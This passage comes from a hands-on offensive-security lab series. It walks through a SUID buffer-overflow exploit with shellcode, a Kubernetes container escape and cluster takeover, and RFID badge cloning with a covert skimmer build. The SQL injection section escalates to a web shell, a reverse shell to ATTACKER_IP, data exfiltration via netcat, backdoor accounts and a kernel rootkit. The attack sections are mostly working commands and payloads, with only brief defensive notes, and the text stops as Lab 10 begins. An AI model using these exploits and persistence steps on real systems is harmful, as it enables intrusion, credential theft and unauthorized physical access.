# Download vulnerable binary (or compile your own): # Sample vulnerable program (vuln.c): #include #include void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // No bounds checking! } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \\n", argv[0]); return 1; } vulnerable_function(argv[1]); printf("Execution complete\\n"); return 0; } # Compile with protections DISABLED (for learning): gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie -m32 # Flags explained: # -fno-stack-protector = Disable stack canaries # -z execstack = Make stack executable (allow shellcode) # -no-pie = Disable ASLR for binary # -m32 = Compile as 32-bit (easier to exploit) # Set SUID (simulate privileged service): sudo chown root:root vuln sudo chmod 4755 vuln # Verify: ls -la vuln # Output: -rwsr-xr-x 1 root root 15632 Jan 9 12:00 vuln # Check protections: checksec vuln # Output: # RELRO: Partial RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x8048000) # Arch: i386-32-little

Step 2: Crash the Program (Proof of Vulnerability)

# Test with normal input: ./vuln AAAA # Output: Execution complete # Test with long input (overflow): ./vuln $(python3 -c 'print("A"*100)') # Output: Segmentation fault (core dumped) # Success! We crashed the program. # This means we overwrote something critical (likely the return address) # Generate pattern to find offset (where exactly do we control EIP?): /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 # Output (unique pattern): # Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A # Run with pattern: ./vuln "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" # Debug with GDB: gdb ./vuln (gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" # Program crashes # Output: # Program received signal SIGSEGV, Segmentation fault. # 0x37634136 in ?? () # The value 0x37634136 is the instruction pointer (EIP) # This is where the return address should be! # Find offset: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37634136 # Output: # [*] Exact match at offset 76 # Perfect! After 76 bytes of junk, the next 4 bytes control EIP!

Step 3: Control Execution (Overwrite Return Address)

# Test our offset: python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"BBBB")' > payload.bin # Run with payload: ./vuln $(cat payload.bin) # In GDB: gdb ./vuln (gdb) run $(python3 -c 'print("A"*76 + "BBBB")') # Crash at: # 0x42424242 in ?? () # 0x42 = 'B' in hexadecimal # We control EIP! We can redirect execution anywhere! # Next: Where do we jump to? # Option 1: Jump directly to shellcode in our buffer # Option 2: ret2libc (use existing functions) # Option 3: ROP chain (modern technique) # For this lab: Jump to shellcode in buffer

Step 4: Generate Shellcode

# Generate shellcode with msfvenom: msfvenom -p linux/x86/exec CMD=/bin/sh -b '\\x00\\x0a\\x0d' -f python # Flags: # -p linux/x86/exec = Payload (execute command) # CMD=/bin/sh = Command to execute # -b '\\x00\\x0a\\x0d' = Bad characters to avoid (NULL, newline, carriage return) # -f python = Output format (Python byte string) # Output: buf = b"" buf += b"\\xd9\\xc1\\xd9\\x74\\x24\\xf4\\x5e\\x33\\xc9\\xb1" buf += b"\\x0b\\x31\\x76\\x15\\x03\\x76\\x15\\x83\\xee\\xfc" buf += b"\\x76\\x53\\x4f\\x68\\x57\\xe0\\xc1\\xd3\\xc1\\xa8" buf += b"\\x9c\\xe8\\xeb\\xf7\\xdf\\xaa\\x4f\\x48\\x70\\x3e" buf += b"\\x40\\xfa\\x21\\x4f\\xae\\xe2\\xc9\\x3f\\xe1\\x58" buf += b"\\x3c\\x63\\x28\\xe1\\xdc" # Shellcode is 53 bytes long # NOP sled (for reliability): # Add NOPs before shellcode so we don't need exact address # NOP = \\x90 (do nothing instruction) # Final payload structure: # [NOPs] + [Shellcode] + [Padding] + [Return Address]

Step 5: Find Return Address (Where is our buffer?)

# We need to find where our buffer is in memory # Use GDB: gdb ./vuln # Set breakpoint before overflow: (gdb) disassemble vulnerable_function # Find address of strcpy call, set breakpoint after it (gdb) break *0x08048492 # Address after strcpy # Run with large input: (gdb) run $(python3 -c 'print("A"*100)') # Breakpoint hit # Examine stack: (gdb) x/40wx $esp # Output: # 0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141 # ... # Our buffer starts around 0xbffff5c0! # Choose return address in the middle of NOPs: # Let's use: 0xbffff5d0 # Note: ASLR disabled, so address is consistent

Step 6: Craft Final Exploit

# exploit.py import struct # Shellcode (execve("/bin/sh")) shellcode = ( b"\\xd9\\xc1\\xd9\\x74\\x24\\xf4\\x5e\\x33\\xc9\\xb1" b"\\x0b\\x31\\x76\\x15\\x03\\x76\\x15\\x83\\xee\\xfc" b"\\x76\\x53\\x4f\\x68\\x57\\xe0\\xc1\\xd3\\xc1\\xa8" b"\\x9c\\xe8\\xeb\\xf7\\xdf\\xaa\\x4f\\x48\\x70\\x3e" b"\\x40\\xfa\\x21\\x4f\\xae\\xe2\\xc9\\x3f\\xe1\\x58" b"\\x3c\\x63\\x28\\xe1\\xdc" ) # Return address (points to NOP sled) ret_addr = 0xbffff5d0 # Payload construction: nops = b"\\x90" * 20 # NOP sled payload = nops + shellcode # NOPs + shellcode # Calculate padding needed: offset = 76 padding_size = offset - len(payload) padding = b"A" * padding_size # Pack return address (little-endian): ret_addr_packed = struct.pack("

Step 7: Execute Exploit (Get Root Shell!)

# Generate exploit: python3 exploit.py > payload # Test exploit: ./vuln "$(cat payload)" # If successful: # $ id # uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user) # # $ whoami # root # Success! We have root shell! # The SUID bit caused the program to run with root privileges # Our buffer overflow hijacked execution flow # Shellcode executed as root = root shell! # Clean up: exit # Exit root shell rm payload exploit.bin # What happened step-by-step: # 1. Program copies our input into 64-byte buffer # 2. Our input is 76+ bytes (overflow!) # 3. Overflow overwrites return address on stack # 4. Return address points to our NOP sled # 5. CPU slides down NOPs to shellcode # 6. Shellcode executes: execve("/bin/sh", NULL, NULL) # 7. New shell spawned with SUID privileges (root!)

Step 8: Modern Protections (Why This Works in 2026)

# This exploit worked because we DISABLED protections # Real-world binaries have: # 1. Stack Canaries (SSP): # • Random value placed before return address # • Checked before function returns # • If modified → program aborts # Bypass: Leak canary value, include in payload # 2. NX (Non-Executable Stack): # • Stack marked as non-executable # • Shellcode on stack won't run # Bypass: ROP chains (ret2libc, ret2plt) # 3. ASLR (Address Space Layout Randomization): # • Randomizes memory addresses each run # • Our hardcoded address (0xbffff5d0) won't work # Bypass: Information leak to reveal addresses # 4. PIE (Position Independent Executable): # • Binary loaded at random address # • Function addresses change each run # Bypass: Information leak + ROP gadgets # 5. RELRO (Relocation Read-Only): # • GOT (Global Offset Table) is read-only # • Can't overwrite function pointers # Bypass: Find other writable targets # Modern exploit development = bypassing all these protections # Requires: Information leaks + ROP chains + heap exploitation # Check real binary protections: checksec /bin/ls # Output: # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # All protections enabled = much harder to exploit!

💡 Lab 6 Key Takeaways

Skills learned:
• Binary analysis with checksec
• GDB debugging (finding offsets, examining memory)
• Pattern creation/offset calculation (Metasploit tools)
• Shellcode generation (msfvenom)
• Buffer overflow exploitation (stack smashing)
• SUID privilege escalation
• Understanding modern protections (DEP, ASLR, canaries)

Next steps:
• Practice on: PicoCTF, pwnable.kr, pwnable.tw
• Learn ROP chains (bypass NX)
• Learn heap exploitation (different attack surface)
• Study ASLR bypass techniques (info leaks)
• Read: "The Shellcoder's Handbook," "Hacking: The Art of Exploitation"

Buffer overflows are THE classic exploit. Master this = understand memory corruption at the deepest level! 🐛💻

Lab 7: Container Escape & Kubernetes Exploitation (Cloud-Native Security)

Scenario: You've compromised a web application running inside a Docker container in a Kubernetes cluster. Your mission: escape the container, pivot to other pods, compromise the Kubernetes API server, and gain cluster admin access. This lab teaches container security, Kubernetes enumeration, and cloud-native attack paths—essential skills for modern pentesting!

Step 1: Initial Foothold (Web Shell in Container)

# Assume you've gained RCE via web vulnerability (SQLi, file upload, etc.) # You have a web shell in the container # Check environment: id # uid=33(www-data) gid=33(www-data) groups=33(www-data) hostname # webapp-deployment-5d7c6b9f8d-x4m2p uname -a # Linux webapp-deployment-5d7c6b9f8d-x4m2p 5.10.0-21-cloud-amd64 #1 SMP Debian GNU/Linux # Confirm we're in a container: cat /proc/1/cgroup | grep -i docker # 12:cpuset:/docker/4a5b8c9d3e2f... # Or check for Kubernetes: cat /proc/1/cgroup | grep -i kubepods # 12:cpuset:/kubepods/besteffort/pod123abc.../4a5b8c9d... # We're in Kubernetes!

Step 2: Container Enumeration

# Check for misconfigurations: # 1. Mounted Docker socket (common misconfiguration!): ls -la /var/run/docker.sock # If exists → instant root via Docker API! # 2. Privileged container: cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff = ALL capabilities = privileged! # 3. Mounted host filesystem: ls -la /host ls -la /mnt # Look for host root filesystem mounts # 4. Kubernetes service account: ls -la /var/run/secrets/kubernetes.io/serviceaccount/ # token = JWT for Kubernetes API # ca.crt = CA certificate # namespace = Current namespace # Read service account token: cat /var/run/secrets/kubernetes.io/serviceaccount/token # eyJhbGciOiJSUzI1NiIsImtpZCI6Ij... TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) # 5. Check environment variables: env | grep -i kube # KUBERNETES_SERVICE_HOST=10.96.0.1 # KUBERNETES_SERVICE_PORT=443 # 6. Network enumeration: ip addr # Usually only sees container network (eth0: 10.244.x.x) # Can we reach Kubernetes API? curl -k https://10.96.0.1:443 # {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden..."} # Kubernetes API is accessible!

Step 3: Kubernetes API Reconnaissance

# Query API with service account token: # Test authentication: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/default/pods # Response: # {"kind":"PodList","apiVersion":"v1","items":[...]} # Success! Our service account can list pods # Enumerate permissions: # List pods: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/default/pods | jq '.items[].metadata.name' # Output: # "webapp-deployment-5d7c6b9f8d-x4m2p" # Us! # "redis-master-0" # "postgres-0" # List namespaces: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces | jq '.items[].metadata.name' # Output: # "default" # "kube-system" # Critical namespace! # "kube-public" # Try to list kube-system pods: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/kube-system/pods # If FORBIDDEN → no access to kube-system (yet) # If SUCCESS → we can see system pods! # List secrets: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/default/secrets # Secrets contain credentials, certificates, tokens! # Try to create pods (escalation path): curl -k -H "Authorization: Bearer $TOKEN" \\ -H "Content-Type: application/json" \\ -X POST \\ -d @test-pod.json \\ https://10.96.0.1:443/api/v1/namespaces/default/pods # If FORBIDDEN → can't create pods # If SUCCESS → we can deploy our own pods!

Step 4: Container Escape via Privileged Pod

# If we can create pods, deploy privileged pod: # Create malicious pod spec (evil-pod.json): { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "evil-pod", "namespace": "default" }, "spec": { "containers": [{ "name": "evil", "image": "ubuntu:latest", "command": ["/bin/bash", "-c", "sleep 3600"], "securityContext": { "privileged": true }, "volumeMounts": [{ "name": "host-root", "mountPath": "/host" }] }], "volumes": [{ "name": "host-root", "hostPath": { "path": "/", "type": "Directory" } }], "restartPolicy": "Never" } } # Deploy pod: curl -k -H "Authorization: Bearer $TOKEN" \\ -H "Content-Type: application/json" \\ -X POST \\ -d @evil-pod.json \\ https://10.96.0.1:443/api/v1/namespaces/default/pods # Wait for pod to start: curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/default/pods/evil-pod | jq '.status.phase' # Output: "Running" # Get shell in evil pod: # (Requires exec endpoint access) curl -k -H "Authorization: Bearer $TOKEN" \\ https://10.96.0.1:443/api/v1/namespaces/default/pods/evil-pod/exec?command=/bin/bash&stdin=true&stdout=true&stderr=true&tty=true # Now in privileged pod with host filesystem at /host! # Escape to host: chroot /host /bin/bash # Check: hostname # master-node-01 # We're on the Kubernetes node! id # uid=0(root) gid=0(root) groups=0(root) # Full root on Kubernetes node!

Step 5: Stealing Kubernetes Secrets

# From compromised node, access kubelet certs: ls -la /etc/kubernetes/ # admin.conf = Cluster admin credentials! # kubelet.conf # controller-manager.conf # scheduler.conf # Copy admin.conf: cat /etc/kubernetes/admin.conf # Output (YAML): # apiVersion: v1 # clusters: # - cluster: # certificate-authority-data: LS0tLS1CRUdJTi... # server: https://10.0.0.1:6443 # name: kubernetes # contexts: # - context: # cluster: kubernetes # user: kubernetes-admin # name: kubernetes-admin@kubernetes # current-context: kubernetes-admin@kubernetes # kind: Config # users: # - name: kubernetes-admin # user: # client-certificate-data: LS0tLS1CRUdJTi... # client-key-data: LS0tLS1CRUdJTi... # This kubeconfig provides CLUSTER ADMIN access! # Use it: export KUBECONFIG=/etc/kubernetes/admin.conf # Or extract and use from attacker machine: # 1. Copy admin.conf to attacker # 2. kubectl --kubeconfig=admin.conf get pods --all-namespaces # Alternative: Steal etcd data (Kubernetes database): ls -la /var/lib/etcd/ # etcd contains ALL cluster secrets unencrypted! # Read secrets from etcd: ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt \\ --cert /etc/kubernetes/pki/etcd/server.crt \\ --key /etc/kubernetes/pki/etcd/server.key \\ get / --prefix --keys-only # Returns ALL Kubernetes resources (secrets, tokens, passwords!)

Step 6: Cluster Takeover

# With cluster admin access: # List all secrets: kubectl get secrets --all-namespaces # Dump specific secret: kubectl get secret -n kube-system admin-token-xyz -o yaml # Decode base64: echo "BASE64_VALUE" | base64 -d # Create backdoor admin user: kubectl create serviceaccount backdoor -n kube-system kubectl create clusterrolebinding backdoor-admin \\ --clusterrole=cluster-admin \\ --serviceaccount=kube-system:backdoor # Get backdoor token: kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep backdoor | awk '{print $1}') # Deploy persistent webshell pod: kubectl run webshell --image=alpine --restart=Never -- /bin/sh -c "while true; do nc -l -p 4444 -e /bin/sh; done" # Access all nodes: kubectl get nodes kubectl exec -it -- /bin/bash # Exfiltrate data from all pods: for pod in $(kubectl get pods --all-namespaces -o name); do kubectl exec $pod -- cat /etc/shadow done # Complete cluster compromise!

💡 Lab 7 Key Takeaways

Skills learned:
• Container fingerprinting (cgroups, filesystem analysis)
• Kubernetes service account token usage
• Kubernetes API enumeration (pods, secrets, namespaces)
• Privileged pod deployment (container escape)
• Host filesystem access (chroot escape)
• Kubernetes credential theft (admin.conf, etcd)
• Cluster takeover (create admin users, deploy backdoors)

Key Kubernetes attack paths:
1. Overprivileged service account: Create pods → deploy privileged pod → escape
2. Mounted Docker socket: Instant root via Docker API
3. Host path mounts: Access node filesystem directly
4. Node compromise: Steal kubelet credentials → cluster admin
5. etcd access: All secrets in plaintext

Defense:
• Enable RBAC (least privilege service accounts)
• Use Pod Security Policies (PSP) or Pod Security Admission
• Never mount Docker socket or host paths
• Enable audit logging
• Encrypt etcd at rest
• Network segmentation (isolate nodes)

Kubernetes security is critical in 2026—every company runs containers! 🐳☸️

Lab 8: Complete RFID Cloning & Badge Duplication (Physical Security)

Scenario: You've been hired to test a company's physical security. They use RFID badges for building access. Your mission: capture a badge signal from an employee, clone it, and gain unauthorized physical access. This lab teaches RFID fundamentals, Proxmark3 usage, badge cloning techniques, and physical security testing—essential for comprehensive red team engagements!

Step 1: RFID Basics & Reconnaissance

# RFID (Radio-Frequency Identification) types: # Low Frequency (LF): 125 kHz # • HID Prox cards (most common office badges) # • EM4100/EM4102 cards # • Read range: ~10 cm # • Simple, easy to clone # • Used in: Office buildings, hotels, parking # High Frequency (HF): 13.56 MHz # • Mifare Classic (common transit cards, hotel keys) # • Mifare DESFire (more secure) # • iCLASS (government, high-security) # • NFC phones operate at this frequency # • Read range: ~10 cm # • More complex, but still cloneable # • Used in: Transit, government, modern offices # Ultra High Frequency (UHF): 860-960 MHz # • Long-range RFID (supply chain, inventory) # • Read range: 10+ meters! # • Less common for access control # • Used in: Warehouses, toll roads # Our target: HID Prox (125 kHz) - most common office badge

Step 2: Equipment Setup (Proxmark3)

# Proxmark3 = RFID research tool ($300) # Alternatives: # • ACR122U (~$40, NFC only) # • Flipper Zero (~$200, multi-tool) # • Chameleon Mini (~$60, emulation only) # We'll use Proxmark3 (most powerful) # Install software: sudo apt install proxmark3 # Or compile from source: git clone https://github.com/RfidResearchGroup/proxmark3.git cd proxmark3 make clean && make all sudo make install # Connect Proxmark3 via USB # Start client: proxmark3 /dev/ttyACM0 # Output: # [=] Session log /root/.proxmark3/logs/log_20260109.txt # [+] loaded from JSON file /root/.proxmark3/preferences.json # [=] Using UART port /dev/ttyACM0 # [+] About to use the following device: USB /dev/ttyACM0 # [+] Communicating with PM3 over USB-CDC # # ██████╗ ███╗ ███╗ ████╗ # ██╔══██╗████╗ ████║ ╚══██║ # ██████╔╝██╔████╔██║ ██╔╝ # ██╔═══╝ ██║╚██╔╝██║ ██║ # ██║ ██║ ╚═╝ ██║ ██████║ # ╚═╝ ╚═╝ ╚═╝ ╚═════╝ # # proxmark3> # Check connection: proxmark3> hw status # Verify LF and HF antennas working

Step 3: Capture Target Badge (Covert Cloning)

# Scenario: Tailgating attack # You're behind employee at door, they badge in # Your Proxmark3 is in bag/pocket, close to their badge # Start LF search: proxmark3> lf search # Output (when badge detected): # [+] Valid HID Prox ID found! # [+] HID Prox TAG ID: 2006ec0c86 (8011) # [+] Format: 26-bit (H10301) # [+] Facility Code: 123 # [+] Card Number: 8011 # Success! We captured: # • Facility Code: 123 # • Card Number: 8011 # Alternative: Use auto-read mode (background capture): proxmark3> lf hid read # Leave running, captures when badge is nearby # Save for later: # Write down Facility Code and Card Number # Or use built-in clone command immediately

Step 4: Clone to Writable Card

# You need writable cards: # • T5577 cards (LF writable, $1 each) # • Order from AliExpress, Amazon, eBay # Place blank T5577 card on Proxmark3 # Clone directly from captured data: proxmark3> lf hid clone --raw 2006ec0c86 # Or use facility code + card number: proxmark3> lf hid clone -r 26 -f 123 -n 8011 # Flags: # -r = Format (26-bit H10301) # -f = Facility code (123) # -n = Card number (8011) # Output: # [=] Preparing to clone HID tag # [=] Done # [?] Try `lf hid reader` to verify # Verify clone: proxmark3> lf hid reader # Output: # [+] HID Prox TAG ID: 2006ec0c86 (8011) # [+] Format: 26-bit (H10301) # [+] Facility Code: 123 # [+] Card Number: 8011 # Perfect match! Clone successful! # Test on access control system: # Present cloned card to reader # Door should open!

Step 5: Advanced Techniques (Mifare Classic)

# Mifare Classic cards are more complex (HF 13.56 MHz) # Used in: Transit cards, hotel keys, some offices # Check card type: proxmark3> hf search # Output: # [+] Valid Mifare Classic 1K tag found # Mifare uses encryption (Crypto1) # But: Known weaknesses allow cracking # Attack 1: Known default keys proxmark3> hf mf chk --1k -f mfc_default_keys.dic # Tests common default keys (factory defaults) # Output: # [+] Found valid key [ffffffffffff] (sector 0, A) # [+] Found valid key [a0a1a2a3a4a5] (sector 1, A) # ... # If many default keys found → easy attack! # Attack 2: Nested attack (if some keys known): proxmark3> hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF # Uses known key to find other keys # Attack 3: Hardnested attack (no keys known): proxmark3> hf mf hardnested --blk 0 --a --k FFFFFFFFFFFF # Takes ~5-10 minutes, but very reliable # Once all keys found, dump card: proxmark3> hf mf dump # Output: hf-mf--dump.bin # Clone to writable card: # 1. Buy Chinese Magic Card (UID changeable) # 2. proxmark3> hf mf cload -f hf-mf--dump.bin # Perfect clone with matching UID!

Step 6: Building an RFID Skimmer (Covert Capture Device)

# For long-term access, build skimmer: # • Arduino + PN532 NFC module (~$15) # • Battery pack # • SD card module (logging) # • Hide near door reader # Sample Arduino code (simplified): /* #include #include #include PN532_I2C pn532i2c(Wire); PN532 nfc(pn532i2c); void setup() { Serial.begin(115200); nfc.begin(); SD.begin(10); } void loop() { uint8_t uid[7]; uint8_t uidLength; if (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &uid[0], &uidLength)) { // Card detected! File logFile = SD.open("badges.txt", FILE_WRITE); // Log UID: for (uint8_t i=0; i < uidLength; i++) { logFile.print(uid[i], HEX); } logFile.println(); logFile.close(); delay(2000); // Debounce } } */ # Deploy near reader: # • Behind potted plant # • Under desk near reader # • Inside fake electrical outlet # Retrieve device after hours/days # Analyze captured badges # Clone most common badges # Gain building access!

Step 7: Defense & Detection

# How companies defend against RFID cloning: # 1. Encrypted cards: # • iCLASS SE, HID SEOS, DESFire EV2 # • Mutual authentication (reader verifies card, card verifies reader) # • Harder to clone (but not impossible with replay attacks) # 2. Multi-factor authentication: # • Badge + PIN # • Badge + biometric # • Badge + mobile app # 3. Challenge-response: # • Card must compute response to challenge # • Clones won't work (unless you clone secure element) # 4. Faraday sleeves: # • RFID-blocking wallets/badge holders # • Prevents unauthorized reads # 5. Short read range: # • Lower power readers # • Requires badge very close to reader # • Harder for skimmers # Detection: # • Monitor for duplicate badge uses (same badge, different locations, short time) # • Video surveillance (correlate badge swipes with faces) # • Anomaly detection (badge used at unusual time/location) # • Physical inspection for skimmers

💡 Lab 8 Key Takeaways

Skills learned:
• RFID fundamentals (LF vs HF, frequency ranges)
• Proxmark3 operation (reading, cloning, emulation)
• HID Prox badge cloning (most common access control)
• Mifare Classic attacks (default keys, nested, hardnested)
• RFID skimmer construction (Arduino + PN532)
• Physical security testing methodology
• Defense strategies (encrypted cards, multi-factor auth)

RFID attack toolkit:
• Proxmark3: Research tool ($300, most powerful)
• Flipper Zero: Portable multi-tool ($200, great for field work)
• ACR122U: Budget NFC reader ($40, HF only)
• HackRF One: SDR for 433MHz/915MHz ($300)
• T5577 cards: LF writable ($1/ea)
• Magic Mifare: UID changeable ($2/ea)

Legal warning:
• Cloning badges WITHOUT authorization = ILLEGAL
• Only test badges you own or have explicit permission
• Always document scope of engagement
• Physical pentesting requires clear legal agreements

Physical security is often the weakest link. Companies spend millions on cybersecurity but use $1 RFID badges! 🔐💳

Lab 9: Complete SQL Injection to System Takeover (Advanced SQLi)

Scenario: You've discovered SQL injection in a web application. Your mission: exploit it to dump the database, escalate to file read/write, achieve RCE, and take over the underlying server. This lab teaches advanced SQLi techniques—union-based, blind, out-of-band, file operations, and post-exploitation!

Step 1: Initial SQLi Discovery & Enumeration

# Target: http://vulnerable-site.com/product.php?id=1 # Test for SQLi: http://vulnerable-site.com/product.php?id=1' # Error message: # "You have an error in your SQL syntax near ''' at line 1" # Confirmed SQL injection! # Determine number of columns (UNION-based): http://vulnerable-site.com/product.php?id=1 ORDER BY 1-- - # Works http://vulnerable-site.com/product.php?id=1 ORDER BY 2-- - # Works http://vulnerable-site.com/product.php?id=1 ORDER BY 3-- - # Works http://vulnerable-site.com/product.php?id=1 ORDER BY 4-- - # Error! # 3 columns in SELECT statement # Find injectable columns: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,2,3-- - # Page shows numbers in output (let's say 2 and 3 are visible) # Database enumeration: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,@@version,database()-- - # Output: # MySQL Version: 8.0.32-0ubuntu0.20.04.2 # Current Database: webapp_db # List databases: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- - # Output: # information_schema # mysql # performance_schema # webapp_db # List tables in webapp_db: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='webapp_db'-- - # Output: # products # users # Interesting! # orders # admin_users # Very interesting! # List columns in users table: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- - # Output: # id # username # email # password # Jackpot! # role # Dump users table: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),email FROM users-- - # Output: # admin:$2y$10$abcdef1234567890... # john:$2y$10$xyz9876543210... # jane:$2y$10$qwerty... # Bcrypt hashes - need to crack offline

Step 2: File Operations (Reading /etc/passwd)

# Check if file read is possible: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- - # Output: # root:x:0:0:root:/root:/bin/bash # daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin # www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin # mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false # webadmin:x:1000:1000:Web Admin:/home/webadmin:/bin/bash # Users discovered: # • root (UID 0) # • www-data (UID 33, web server) # • webadmin (UID 1000, real user) # Read web application source: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- - # Output (config.php): # # Credentials found! # Read MySQL config: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/etc/mysql/my.cnf'),3-- - # Check for SSH keys: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/home/webadmin/.ssh/id_rsa'),3-- - # If SSH key found → instant SSH access! # Read Apache logs (password spraying evidence): http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/var/log/apache2/access.log'),3-- -

Step 3: File Write (Web Shell Upload)

# Check if file write possible: # Requires: FILE privilege + writable directory # Test write to /var/www/html/: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/test.php'-- - # Access: http://vulnerable-site.com/test.php # If "TEST" appears → file write works! # Upload web shell: http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'-- - # Execute commands: http://vulnerable-site.com/shell.php?cmd=id # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) http://vulnerable-site.com/shell.php?cmd=whoami # Output: www-data http://vulnerable-site.com/shell.php?cmd=uname -a # Output: Linux webapp-server 5.4.0-150-generic #167-Ubuntu... # RCE achieved!

Step 4: Reverse Shell & Privilege Escalation

# Upgrade to interactive reverse shell: # Start listener on attacker: nc -lvnp 4444 # Execute reverse shell via web shell: http://vulnerable-site.com/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' # URL-encoded: http://vulnerable-site.com/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27 # Connection received! # www-data@webapp-server:/var/www/html$ # Stabilize shell: python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm # Enumerate system: ls -la /home # /home/webadmin cat /etc/cron* # Look for cron jobs running as root find / -perm -4000 2>/dev/null # SUID binaries # Check sudo: sudo -l # (www-data) NOPASSWD: /usr/bin/perl # Escalate via sudo perl: sudo perl -e 'exec "/bin/bash";' # root@webapp-server:/# id # uid=0(root) gid=0(root) groups=0(root) # Root achieved!

Step 5: Post-Exploitation & Persistence

# Dump all MySQL databases: mysqldump -u root -p --all-databases > /tmp/all_databases.sql # Copy to attacker: nc ATTACKER_IP 5555 < /tmp/all_databases.sql # On attacker: nc -lvnp 5555 > databases.sql # Add SSH key for persistence: mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # SSH as root: ssh root@vulnerable-site.com # Create backdoor user: useradd -m -s /bin/bash -G sudo backdoor echo 'backdoor:SecurePassword123' | chpasswd # Add to sudoers (no password): echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers # Rootkit installation (advanced): git clone https://github.com/f0rb1dd3n/Reptile.git cd Reptile make # Load kernel module: insmod reptile.ko # Reptile features: # • Hidden processes # • Hidden files # • Hidden network connections # • Rootshell backdoor # Complete compromise!

💡 Lab 9 Key Takeaways

SQL Injection attack chain:
1. Discovery: Find SQLi via error messages or blind techniques
2. Enumeration: information_schema → databases → tables → columns
3. Data extraction: UNION SELECT to dump credentials
4. File read: LOAD_FILE() to access sensitive files
5. File write: INTO OUTFILE to upload web shell
6. RCE: Execute commands via web shell
7. Privilege escalation: SUID, sudo, kernel exploits
8. Persistence: SSH keys, backdoor users, rootkits

Advanced SQLi techniques:
• Blind SQLi: Boolean-based (true/false responses), time-based (SLEEP())
• Out-of-band: DNS exfiltration, HTTP callbacks
• Second-order: Payload stored, executed later
• NoSQL injection: MongoDB, CouchDB (different syntax)

Tools:
• SQLmap: Automated SQLi exploitation
• Burp Suite: Manual testing with Intruder
• Havij: GUI SQLi tool (Windows)

SQL injection remains #1 web vulnerability in 2026. Master this = guaranteed findings! 💉🗄️

Lab 10: Complete Domain Takeover via Certificate Services (ADCS ESC1)

Scenario: You've gained low-privilege domain access. During enumeration, you discover Active Directory Certificate Services (ADCS) is misconfigured. Your mission: exploit ESC1 vulnerability to request a certificate as Domain Admin, authenticate as DA, and take over the domain. This lab teaches ADCS fundamentals, Certify enumeration, ESC1 exploitation, and certificate-based authentication!

Step 1: Initial Domain Access & ADCS Discovery

